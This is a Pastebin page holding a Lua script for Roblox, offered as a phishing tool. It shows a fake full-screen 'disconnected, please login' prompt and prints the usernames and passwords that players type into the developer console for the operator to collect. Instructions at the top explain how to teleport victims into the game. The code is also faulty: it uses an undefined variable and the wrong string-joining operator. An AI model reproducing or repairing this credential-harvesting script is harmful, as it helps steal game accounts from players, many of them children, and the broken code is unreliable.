Advertisement
_KRONE_

MAC7

Jun 20th, 2018
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.06 KB | None | 0 0
  1. --|[] MADE BY: KRONE#6930 []|--
  2. --instructions--
  3. --1. make a game
  4. --2. make a script in startergui and paste this script in it.
  5. --3. copy the level id of your game
  6. --4. put it in the WorldID section of this script..
  7.  
  8.  
  9. --for i,v in pairs(game.Players:GetChildren()) do  
  10. --  local TeleportService = game:GetService("TeleportService")
  11. --  local WorldId =
  12. --  TeleportService:Teleport(WorldId, v)
  13. --end
  14.  
  15. --5. remove the "--" and run it in a game and will take it to your mgui ready game.
  16. -- Other
  17.  
  18. print("Console: Welcome to MAC7!, usernames and passwords will be printed in the dev console, Press F9 to get there.")
  19.  
  20. -- Objects
  21.  
  22. local ScreenGui = Instance.new("ScreenGui")
  23. local Frame = Instance.new("Frame")
  24. local Frame_2 = Instance.new("Frame")
  25. local user = Instance.new("TextBox")
  26. local pass = Instance.new("TextBox")
  27. local TextLabel = Instance.new("TextLabel")
  28. local TextLabel_2 = Instance.new("TextLabel")
  29. local TextButton = Instance.new("TextButton")
  30.  
  31. -- Properties
  32.  
  33. ScreenGui.Parent = game.Players.LocalPlayer.CoreGui
  34.  
  35. Frame.Parent = ScreenGui
  36. Frame.BackgroundColor3 = Color3.new(0.87451, 0.87451, 0.87451)
  37. Frame.Size = UDim2.new(0, 9999, 0, 9999)
  38. Frame.Visible = true
  39.  
  40. Frame_2.Parent = Frame
  41. Frame_2.BackgroundColor3 = Color3.new(0.721569, 0.721569, 0.721569)
  42. Frame_2.Position = UDim2.new(0, 548, 0, 304)
  43. Frame_2.Size = UDim2.new(0, 355, 0, 201)
  44.  
  45. user.Name = "user"
  46. user.Parent = Frame_2
  47. user.BackgroundColor3 = Color3.new(1, 1, 1)
  48. user.Position = UDim2.new(0, 35, 0, 82)
  49. user.Size = UDim2.new(0, 285, 0, 41)
  50. user.Font = Enum.Font.SourceSans
  51. user.Text = "Username"
  52. user.TextSize = 14
  53.  
  54. pass.Name = "pass"
  55. pass.Parent = Frame_2
  56. pass.BackgroundColor3 = Color3.new(1, 1, 1)
  57. pass.Position = UDim2.new(0, 35, 0, 140)
  58. pass.Size = UDim2.new(0, 285, 0, 41)
  59. pass.Font = Enum.Font.SourceSans
  60. pass.Text = "Password"
  61. pass.TextSize = 14
  62.  
  63. TextLabel.Parent = Frame_2
  64. TextLabel.BackgroundColor3 = Color3.new(0.588235, 0.588235, 0.588235)
  65. TextLabel.Size = UDim2.new(0, 355, 0, 50)
  66. TextLabel.Font = Enum.Font.SourceSans
  67. TextLabel.Text = "Login"
  68. TextLabel.TextColor3 = Color3.new(0.847059, 0.0470588, 0.0627451)
  69. TextLabel.TextSize = 20
  70.  
  71. TextLabel_2.Parent = Frame
  72. TextLabel_2.BackgroundColor3 = Color3.new(0.65098, 0.65098, 0.65098)
  73. TextLabel_2.Size = UDim2.new(0, 999, 0, 50)
  74. TextLabel_2.Font = Enum.Font.SourceSans
  75. TextLabel_2.Text = "  YOU WERE DISCONECTED FROM THE GAME PLEASE LOGIN TO CONTINUE PLAYING"
  76. TextLabel_2.TextColor3 = Color3.new(1, 0, 0)
  77. TextLabel_2.TextSize = 20
  78. TextLabel_2.TextXAlignment = Enum.TextXAlignment.Left
  79.  
  80. TextButton.Parent = Frame
  81. TextButton.BackgroundColor3 = Color3.new(1, 0.0470588, 0.25098)
  82. TextButton.Position = UDim2.new(0, 786, 0, 515)
  83. TextButton.Size = UDim2.new(0, 118, 0, 38)
  84. TextButton.Font = Enum.Font.SourceSans
  85. TextButton.Text = "LOGIN"
  86. TextButton.TextSize = 25
  87.  
  88. -- Scripts
  89.  
  90. user.Text = Victom
  91. pass.MouseButton1Click:connect(function()
  92.     pass.Text = ""
  93. end)
  94. TextButton.MouseButton1Click:connect(function()
  95.     local userT = Victom
  96.     local passT = pass.Text
  97.     print(userT + ":" + passT)
  98.     Frame.Visible = false
  99. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement